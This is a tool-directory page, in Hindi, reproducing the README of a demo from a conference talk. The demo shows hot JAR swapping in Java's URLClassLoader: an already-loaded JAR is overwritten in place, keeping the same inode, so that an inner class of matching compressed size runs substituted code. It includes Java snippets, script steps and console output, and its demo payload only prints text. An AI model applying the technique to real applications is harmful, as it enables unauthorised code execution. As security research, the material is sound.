Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
hot-jar-swapping-urlclassloader — URLClassLoader JAR-स्वैपिंग का डेमो जो पहले से लोड किए गए JAR को इनर क्लासेस के साथ बदलने और उसका शोषण करने की क्षमता दर्शाता है। | Kitploit
उपकरण/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
शोषणलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

URLClassLoader JAR-स्वैपिंग का डेमो जो पहले से लोड किए गए JAR को इनर क्लासेस के साथ बदलने और उसका शोषण करने की क्षमता दर्शाता है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
3273 साल पहलेKitploit द्वारा समीक्षित

URLClassLoader हॉट jar स्वैपिंग

निम्न उदाहरण कोड पहले से लोड की गई JAR-फ़ाइल को हॉट jar स्वैप करने और कोड निष्पादन प्राप्त करने की क्षमता दिखाता है, इस तथ्य का दुरुपयोग करके कि जब तक inode नहीं बदलता, इनर क्लासेस आह्वान किए जाने पर JAR फ़ाइल तक पहुँचती रहती हैं।

MacOS और OpenJDK पर परीक्षण किया गया (और Transporter का उपयोग करके Apple के Author प्रकाशक पर भी शोषण किया गया)।

Frans Rosén के टॉक "Story of a RCE on Apple through hot jar swapping" (NahamCon 2022 EU) से डेमो।

कैसे चलाएँ

build-and-run.sh

आप इसे इस प्रकार चलाते हैं:

root@kitploit:~
./build-and-run.sh

यह निम्नलिखित करेगा:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

Bootstrapper URLClassLoader का उपयोग करके HelloWorld.Main-क्लास को लोड और रन करेगा और आपको HelloWorld.Secondary-क्लास से hello मेथड चलाने के लिए संकेत देगा, जो पहले से लोड हो चुकी है। यह नियंत्रित करने के लिए है कि पहले से लोड की गई JAR को कब बदला जाए।

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

अब आप तय कर सकते हैं कि आप बिना कोई JAR बदले एंटर दबाना चाहते हैं, यह HelloWorld/Secondary.java से सही कोड प्रवाह दिखाएगा:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

exploit.sh निम्नलिखित करेगा:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

HelloWorld.jar को exploit.jar से अधिलेखित करते समय कॉपी करने वाला हिस्सा महत्वपूर्ण है, क्योंकि यदि inode बदलता है तो एक्सप्लॉइट सफल नहीं होगा। एक mv कमांड नया inode लिखेगा, लेकिन किसी मौजूदा फ़ाइल में cp नया inode नहीं लिखेगा। ZIP-एक्सट्रैक्ट का उपयोग करते समय भी ऐसा ही हुआ, मौजूदा JAR का inode कभी नहीं बदला, जिससे एक्सप्लॉइट काम कर सका।

यदि आप हॉट JAR स्वैपिंग का परीक्षण करना चाहते हैं, तो build-and-run.sh चलाते समय रन करने के बाद लेकिन एंटर दबाने से पहले exploit.sh को किसी अन्य विंडो में चलाएँ:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

यदि आप अब ./build-and-run.sh पर एंटर दबाते हैं, तो आपको सफलतापूर्वक बदला हुआ कोड दिखना चाहिए:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

यह दर्शाता है कि हम इस तथ्य का दुरुपयोग कर सकते हैं कि इनर/अनाम-क्लासेस अभी भी भौतिक JAR-फ़ाइल से लोड हो रही हैं, भले ही URLClassLoader ने JAR को हमारे बदलने से पहले ही लोड कर लिया था।

समस्या की व्याख्या

यह कोड रेपो यह समझाने की कोशिश करता है कि आप कुछ पूर्वापेक्षाओं के तहत कोड निष्पादन पाने के लिए पहले से लोड की गई JAR-फ़ाइलों को अधिलेखित कर सकते हैं।

विचार यह है कि JAR को शुरू में URLClassLoader के साथ लोड किया गया था:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

और एक सेकेंडरी मेथड भी बूट पर लोड की गई थी लेकिन उसे कभी आह्वान नहीं किया गया:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

यदि ऐप चल रहे समय JAR को बदल दिया जाता है, और जो क्लास लोड की गई थी लेकिन उसके किसी भी मेथड को आह्वान नहीं किया गया था, उसमें भी इनर क्लासेस हैं, तो हम उससे नए JAR से अलग कोड चलवा सकते हैं यदि आह्वान बाद में होता है:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

इसलिए यदि इस मेथड में एक इनर-क्लास है (वे JAR में $1.class के रूप में दिखती हैं) और हम इनर-क्लास को समान आकार और कम्प्रेशन दर वाली किसी चीज़ से बदल देते हैं, तो हम JAR को हॉट स्वैप कर सकते हैं और अपना कोड चला सकते हैं।

एक्सप्लॉइट की व्याख्या

Exploit/HelloWorld/Secondary.java फ़ाइल से अनाम क्लास संकलित होकर इनर क्लास Exploit/HelloWorld/Secondary$1.class बनाती है, जिसका आकार और कम्प्रेशन दर वही होती है जो HelloWorld/Secondary.java के संकलित और संपीड़ित होने पर होती है। यदि आकार या कम्प्रेशन दर भिन्न होती है, तो build-and-run.sh में एंटर दबाने पर आपको क्रैश मिलेगा। इसलिए यदि आप Exploit/HelloWorld/Secondary.java को उदाहरण के लिए (function: की जगह functionn) बदलते हैं:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

जहाँ कम्प्रेशन परिणाम समान है लेकिन कम्प्रेशन दर गलत है:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

आप यह देखेंगे:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

OpenJDK पर ऐसा लगता है कि यदि मूल आकार भिन्न है लेकिन कम्प्रेशन आकार समान है, तब भी यह काम करता है:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

exploit.sh फिर भी कहेगा कि अंतर है, क्योंकि यह सभी संस्करणों में काम नहीं कर सकता।

आप यह भी देखेंगे कि यदि आप Exploit/HelloWorld/Secondary.java में इनर-क्लास के बाहर की चीज़ें बदलते हैं, जैसे:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

इसमें:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

जिससे Secondary.class का कम्प्रेशन दर और आकार समान हो जाएगा, फिर भी यह बदली गई सामग्री को ट्रिगर नहीं करेगा, क्योंकि क्लास URLClassLoader द्वारा पहले से लोड है, यह पुष्टि करता है कि यह केवल इनर-क्लासेस (JAR में $1.class नाम वाली) को प्रभावित करता है, क्योंकि वे उपयोग के समय JAR-फ़ाइल से लोड होती हैं:

root@kitploit:~
End of run, goodbye
टूल डाउनलोड करें